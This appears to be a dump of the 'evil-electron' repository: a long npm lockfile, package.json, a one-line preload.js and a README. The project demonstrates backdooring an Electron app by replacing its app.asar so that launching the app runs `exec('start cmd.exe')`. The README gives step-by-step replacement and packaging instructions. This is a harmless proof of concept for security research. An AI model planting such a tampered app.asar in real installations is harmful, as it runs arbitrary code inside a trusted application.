"extract-zip": "^1.0.3" 270 | } 271 | }, 272 | "encodeurl": { 273 | "version": "1.0.2", 274 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 275 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", 276 | "dev": true, 277 | "optional": true 278 | }, 279 | "end-of-stream": { 280 | "version": "1.4.4", 281 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", 282 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", 283 | "dev": true, 284 | "requires": { 285 | "once": "^1.4.0" 286 | } 287 | }, 288 | "env-paths": { 289 | "version": "2.2.0", 290 | "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.0.tgz", 291 | "integrity": "sha512-6u0VYSCo/OW6IoD5WCLLy9JUGARbamfSavcNXry/eu8aHVFei6CD3Sw+VGX5alea1i9pgPHW0mbu6Xj0uBh7gA==", 292 | "dev": true 293 | }, 294 | "es6-error": { 295 | "version": "4.1.1", 296 | "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", 297 | "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", 298 | "dev": true, 299 | "optional": true 300 | }, 301 | "escape-string-regexp": { 302 | "version": "4.0.0", 303 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", 304 | "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", 305 | "dev": true, 306 | "optional": true 307 | }, 308 | "extract-zip": { 309 | "version": "1.7.0", 310 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.7.0.tgz", 311 | "integrity": "sha512-xoh5G1W/PB0/27lXgMQyIhP5DSY/LhoCsOyZgb+6iMmRtCwVBo55uKaMoEYrDCKQhWvqEip5ZPKAc6eFNyf/MA==", 312 | "dev": true, 313 | "requires": { 314 | "concat-stream": "^1.6.2", 315 | "debug": "^2.6.9", 316 | "mkdirp": "^0.5.4", 317 | "yauzl": "^2.10.0" 318 | }, 319 | "dependencies": { 320 | "debug": { 321 | "version": "2.6.9", 322 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 323 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 324 | "dev": true, 325 | "requires": { 326 | "ms": "2.0.0" 327 | } 328 | }, 329 | "ms": { 330 | "version": "2.0.0", 331 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 332 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", 333 | "dev": true 334 | } 335 | } 336 | }, 337 | "fd-slicer": { 338 | "version": "1.1.0", 339 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", 340 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", 341 | "dev": true, 342 | "requires": { 343 | "pend": "~1.2.0" 344 | } 345 | }, 346 | "fs-extra": { 347 | "version": "8.1.0", 348 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", 349 | "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", 350 | "dev": true, 351 | "requires": { 352 | "graceful-fs": "^4.2.0", 353 | "jsonfile": "^4.0.0", 354 | "universalify": "^0.1.0" 355 | } 356 | }, 357 | "get-stream": { 358 | "version": "4.1.0", 359 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", 360 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", 361 | "dev": true, 362 | "requires": { 363 | "pump": "^3.0.0" 364 | } 365 | }, 366 | "global-agent": { 367 | "version": "2.1.12", 368 | "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.1.12.tgz", 369 | "integrity": "sha512-caAljRMS/qcDo69X9BfkgrihGUgGx44Fb4QQToNQjsiWh+YlQ66uqYVAdA8Olqit+5Ng0nkz09je3ZzANMZcjg==", 370 | "dev": true, 371 | "optional": true, 372 | "requires": { 373 | "boolean": "^3.0.1", 374 | "core-js": "^3.6.5", 375 | "es6-error": "^4.1.1", 376 | "matcher": "^3.0.0", 377 | "roarr": "^2.15.3", 378 | "semver": "^7.3.2", 379 | "serialize-error": "^7.0.1" 380 | } 381 | }, 382 | "global-tunnel-ng": { 383 | "version": "2.7.1", 384 | "resolved": "https://registry.npmjs.org/global-tunnel-ng/-/global-tunnel-ng-2.7.1.tgz", 385 | "integrity": "sha512-4s+DyciWBV0eK148wqXxcmVAbFVPqtc3sEtUE/GTQfuU80rySLcMhUmHKSHI7/LDj8q0gDYI1lIhRRB7ieRAqg==", 386 | "dev": true, 387 | "optional": true, 388 | "requires": { 389 | "encodeurl": "^1.0.2", 390 | "lodash": "^4.17.10", 391 | "npm-conf": "^1.1.3", 392 | "tunnel": "^0.0.6" 393 | } 394 | }, 395 | "globalthis": { 396 | "version": "1.0.1", 397 | "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.1.tgz", 398 | "integrity": "sha512-mJPRTc/P39NH/iNG4mXa9aIhNymaQikTrnspeCa2ZuJ+mH2QN/rXwtX3XwKrHqWgUQFbNZKtHM105aHzJalElw==", 399 | "dev": true, 400 | "optional": true, 401 | "requires": { 402 | "define-properties": "^1.1.3" 403 | } 404 | }, 405 | "got": { 406 | "version": "9.6.0", 407 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", 408 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", 409 | "dev": true, 410 | "requires": { 411 | "@sindresorhus/is": "^0.14.0", 412 | "@szmarczak/http-timer": "^1.1.2", 413 | "cacheable-request": "^6.0.0", 414 | "decompress-response": "^3.3.0", 415 | "duplexer3": "^0.1.4", 416 | "get-stream": "^4.1.0", 417 | "lowercase-keys": "^1.0.1", 418 | "mimic-response": "^1.0.1", 419 | "p-cancelable": "^1.0.0", 420 | "to-readable-stream": "^1.0.0", 421 | "url-parse-lax": "^3.0.0" 422 | } 423 | }, 424 | "graceful-fs": { 425 | "version": "4.2.4", 426 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", 427 | "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", 428 | "dev": true 429 | }, 430 | "http-cache-semantics": { 431 | "version": "4.1.0", 432 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", 433 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==", 434 | "dev": true 435 | }, 436 | "inherits": { 437 | "version": "2.0.4", 438 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 439 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", 440 | "dev": true 441 | }, 442 | "ini": { 443 | "version": "1.3.5", 444 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", 445 | "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", 446 | "dev": true, 447 | "optional": true 448 | }, 449 | "isarray": { 450 | "version": "1.0.0", 451 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", 452 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", 453 | "dev": true 454 | }, 455 | "json-buffer": { 456 | "version": "3.0.0", 457 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", 458 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=", 459 | "dev": true 460 | }, 461 | "json-stringify-safe": { 462 | "version": "5.0.1", 463 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", 464 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", 465 | "dev": true, 466 | "optional": true 467 | }, 468 | "jsonfile": { 469 | "version": "4.0.0", 470 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", 471 | "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", 472 | "dev": true, 473 | "requires": { 474 | "graceful-fs": "^4.1.6" 475 | } 476 | }, 477 | "keyv": { 478 | "version": "3.1.0", 479 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", 480 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", 481 | "dev": true, 482 | "requires": { 483 | "json-buffer": "3.0.0" 484 | } 485 | }, 486 | "lodash": { 487 | "version": "4.17.15", 488 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", 489 | "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", 490 | "dev": true, 491 | "optional": true 492 | }, 493 | "lowercase-keys": { 494 | "version": "1.0.1", 495 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", 496 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", 497 | "dev": true 498 | }, 499 | "matcher": { 500 | "version": "3.0.0", 501 | "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", 502 | "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", 503 | "dev": true, 504 | "optional": true, 505 | "requires": { 506 | "escape-string-regexp": "^4.0.0" 507 | } 508 | }, 509 | "mimic-response": { 510 | "version": "1.0.1", 511 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", 512 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", 513 | "dev": true 514 | }, 515 | "minimist": { 516 | "version": "1.2.5", 517 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", 518 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", 519 | "dev": true 520 | }, 521 | "mkdirp": { 522 | "version": "0.5.5", 523 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", 524 | "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", 525 | "dev": true, 526 | "requires": { 527 | "minimist": "^1.2.5" 528 | } 529 | }, 530 | "ms": { 531 | "version": "2.1.2", 532 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 533 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", 534 | "dev": true 535 | }, 536 | "normalize-url": { 537 | "version": "4.5.0", 538 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", 539 | "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==", 540 | "dev": true 541 | }, 542 | "npm-conf": { 543 | "version": "1.1.3", 544 | "resolved": "https://registry.npmjs.org/npm-conf/-/npm-conf-1.1.3.tgz", 545 | "integrity": "sha512-Yic4bZHJOt9RCFbRP3GgpqhScOY4HH3V2P8yBj6CeYq118Qr+BLXqT2JvpJ00mryLESpgOxf5XlFv4ZjXxLScw==", 546 | "dev": true, 547 | "optional": true, 548 | "requires": { 549 | "config-chain": "^1.1.11", 550 | "pify": "^3.0.0" 551 | } 552 | }, 553 | "object-keys": { 554 | "version": "1.1.1", 555 | "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", 556 | "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", 557 | "dev": true, 558 | "optional": true 559 | }, 560 | "once": { 561 | "version": "1.4.0", 562 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 563 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 564 | "dev": true, 565 | "requires": { 566 | "wrappy": "1" 567 | } 568 | }, 569 | "p-cancelable": { 570 | "version": "1.1.0", 571 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", 572 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", 573 | "dev": true 574 | }, 575 | "pend": { 576 | "version": "1.2.0", 577 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", 578 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", 579 | "dev": true 580 | }, 581 | "pify": { 582 | "version": "3.0.0", 583 | "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", 584 | "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", 585 | "dev": true, 586 | "optional": true 587 | }, 588 | "prepend-http": { 589 | "version": "2.0.0", 590 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", 591 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", 592 | "dev": true 593 | }, 594 | "process-nextick-args": { 595 | "version": "2.0.1", 596 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", 597 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", 598 | "dev": true 599 | }, 600 | "progress": { 601 | "version": "2.0.3", 602 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", 603 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", 604 | "dev": true 605 | }, 606 | "proto-list": { 607 | "version": "1.2.4", 608 | "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", 609 | "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", 610 | "dev": true, 611 | "optional": true 612 | }, 613 | "pump": { 614 | "version": "3.0.0", 615 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", 616 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", 617 | "dev": true, 618 | "requires": { 619 | "end-of-stream": "^1.1.0", 620 | "once": "^1.3.1" 621 | } 622 | }, 623 | "readable-stream": { 624 | "version": "2.3.7", 625 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", 626 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", 627 | "dev": true, 628 | "requires": { 629 | "core-util-is": "~1.0.0", 630 | "inherits": "~2.0.3", 631 | "isarray": "~1.0.0", 632 | "process-nextick-args": "~2.0.0", 633 | "safe-buffer": "~5.1.1", 634 | "string_decoder": "~1.1.1", 635 | "util-deprecate": "~1.0.1" 636 | } 637 | }, 638 | "responselike": { 639 | "version": "1.0.2", 640 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", 641 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", 642 | "dev": true, 643 | "requires": { 644 | "lowercase-keys": "^1.0.0" 645 | } 646 | }, 647 | "roarr": { 648 | "version": "2.15.3", 649 | "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.3.tgz", 650 | "integrity": "sha512-AEjYvmAhlyxOeB9OqPUzQCo3kuAkNfuDk/HqWbZdFsqDFpapkTjiw+p4svNEoRLvuqNTxqfL+s+gtD4eDgZ+CA==", 651 | "dev": true, 652 | "optional": true, 653 | "requires": { 654 | "boolean": "^3.0.0", 655 | "detect-node": "^2.0.4", 656 | "globalthis": "^1.0.1", 657 | "json-stringify-safe": "^5.0.1", 658 | "semver-compare": "^1.0.0", 659 | "sprintf-js": "^1.1.2" 660 | } 661 | }, 662 | "safe-buffer": { 663 | "version": "5.1.2", 664 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 665 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", 666 | "dev": true 667 | }, 668 | "sanitize-filename": { 669 | "version": "1.6.3", 670 | "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.3.tgz", 671 | "integrity": "sha512-y/52Mcy7aw3gRm7IrcGDFx/bCk4AhRh2eI9luHOQM86nZsqwiRkkq2GekHXBBD+SmPidc8i2PqtYZl+pWJ8Oeg==", 672 | "dev": true, 673 | "requires": { 674 | "truncate-utf8-bytes": "^1.0.0" 675 | } 676 | }, 677 | "semver": { 678 | "version": "7.3.2", 679 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", 680 | "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", 681 | "dev": true, 682 | "optional": true 683 | }, 684 | "semver-compare": { 685 | "version": "1.0.0", 686 | "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", 687 | "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=", 688 | "dev": true, 689 | "optional": true 690 | }, 691 | "serialize-error": { 692 | "version": "7.0.1", 693 | "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", 694 | "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", 695 | "dev": true, 696 | "optional": true, 697 | "requires": { 698 | "type-fest": "^0.13.1" 699 | } 700 | }, 701 | "sprintf-js": { 702 | "version": "1.1.2", 703 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", 704 | "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", 705 | "dev": true, 706 | "optional": true 707 | }, 708 | "string_decoder": { 709 | "version": "1.1.1", 710 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", 711 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", 712 | "dev": true, 713 | "requires": { 714 | "safe-buffer": "~5.1.0" 715 | } 716 | }, 717 | "sumchecker": { 718 | "version": "3.0.1", 719 | "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", 720 | "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", 721 | "dev": true, 722 | "requires": { 723 | "debug": "^4.1.0" 724 | } 725 | }, 726 | "to-readable-stream": { 727 | "version": "1.0.0", 728 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", 729 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", 730 | "dev": true 731 | }, 732 | "truncate-utf8-bytes": { 733 | "version": "1.0.2", 734 | "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz", 735 | "integrity": "sha1-QFkjkJWS1W94pYGENLC3hInKXys=", 736 | "dev": true, 737 | "requires": { 738 | "utf8-byte-length": "^1.0.1" 739 | } 740 | }, 741 | "tunnel": { 742 | "version": "0.0.6", 743 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", 744 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", 745 | "dev": true, 746 | "optional": true 747 | }, 748 | "type-fest": { 749 | "version": "0.13.1", 750 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", 751 | "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", 752 | "dev": true, 753 | "optional": true 754 | }, 755 | "typedarray": { 756 | "version": "0.0.6", 757 | "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", 758 | "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", 759 | "dev": true 760 | }, 761 | "universalify": { 762 | "version": "0.1.2", 763 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", 764 | "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", 765 | "dev": true 766 | }, 767 | "url-parse-lax": { 768 | "version": "3.0.0", 769 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", 770 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", 771 | "dev": true, 772 | "requires": { 773 | "prepend-http": "^2.0.0" 774 | } 775 | }, 776 | "utf8-byte-length": { 777 | "version": "1.0.4", 778 | "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.4.tgz", 779 | "integrity": "sha1-9F8VDExm7uloGGUFq5P8u4rWv2E=", 780 | "dev": true 781 | }, 782 | "util-deprecate": { 783 | "version": "1.0.2", 784 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 785 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", 786 | "dev": true 787 | }, 788 | "wrappy": { 789 | "version": "1.0.2", 790 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 791 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", 792 | "dev": true 793 | }, 794 | "yauzl": { 795 | "version": "2.10.0", 796 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", 797 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", 798 | "dev": true, 799 | "requires": { 800 | "buffer-crc32": "~0.2.3", 801 | "fd-slicer": "~1.1.0" 802 | } 803 | } 804 | } 805 | } 806 | { 807 | "name": "evil-electron", 808 | "version": "1.0.0", 809 | "description": "Backdoored app.asar that spawns cmd.", 810 | "main": "main.js", 811 | 812 | "scripts": { 813 | "start": "electron ." 814 | }, 815 | "repository": { 816 | "type": "git", 817 | "url": "git+https://github.com/parsiya/evil-electron.git" 818 | }, 819 | "author": "Parsia Hakimian", 820 | "license": "MIT", 821 | "bugs": { 822 | "url": "https://github.com/parsiya/evil-electron/issues" 823 | }, 824 | "homepage": "https://github.com/parsiya/evil-electron#readme", 825 | "devDependencies": { 826 | "electron": "^9.0.5" 827 | } 828 | } 829 | // Spawn a command prompt. 830 | require('child_process').exec('start cmd.exe');# Evil Electron a Backdoored Electron app.asar 831 | This is a fork of the Electron Quick Start application at 832 | https://github.com/electron/electron-quick-start. 833 | 834 | It spawns calc. To change it, modify [preload.js](preload.js). 835 | 836 | ## Quickstart 837 | 838 | 1. Make a copy of the original `/path/to/electron/app/resources/app.asar` file. 839 | 2. Copy `release/app.asar` into the path above. 840 | 3. Run the Electron app to see `cmd` pop. 841 | 842 | ## Building 843 | This repository creates an `app.asar` file and not a complete Electron app. 844 | 845 | ``` 846 | # Clone this repository 847 | git clone https://github.com/parsiya/evil-electron 848 | # Go into the repository 849 | cd electron-quick-start 850 | # Install dependencies 851 | npm install 852 | # Run the app to test it 853 | npm start 854 | # Install asar globally if it's not already installed 855 | npm install -g asar 856 | # Package the app into app.asar 857 | asar pack . app.asar 858 | # Copy app.asar to the place you want 859 | ``` 860 | 861 | 862 | # Clone this repository 863 | git clone https://github.com/parsiya/evil-electron 864 | # Go into the repository 865 | cd electron-quick-start 866 | # Install dependencies 867 | npm install 868 | # Run the app to test it 869 | npm start 870 | # Install asar globally if it's not already installed 871 | npm install -g asar 872 | # Package the app into app.asar 873 | asar pack . app.asar 874 | # Copy app.asar to the place you want 875 | 876 | ## What Is This Used For? 877 | TBA. 878 | 879 | ## Troubleshooting 880 | See the original repository at https://github.com/electron/electron-quick-start 881 | and the [Writing Your First Electron App][first-electron] article. 882 | 883 | [first-electron]: https://www.electronjs.org/docs/tutorial/first-app 884 | 885 | ## License 886 | MIT, see [LICENSE](LICENSE) for details. The original project ise licensed under 887 | `CC0 1.0 (Public Domain)`. I felt like the hamburglar after changing the 888 | license. 889 | --------------------------------------------------------------------------------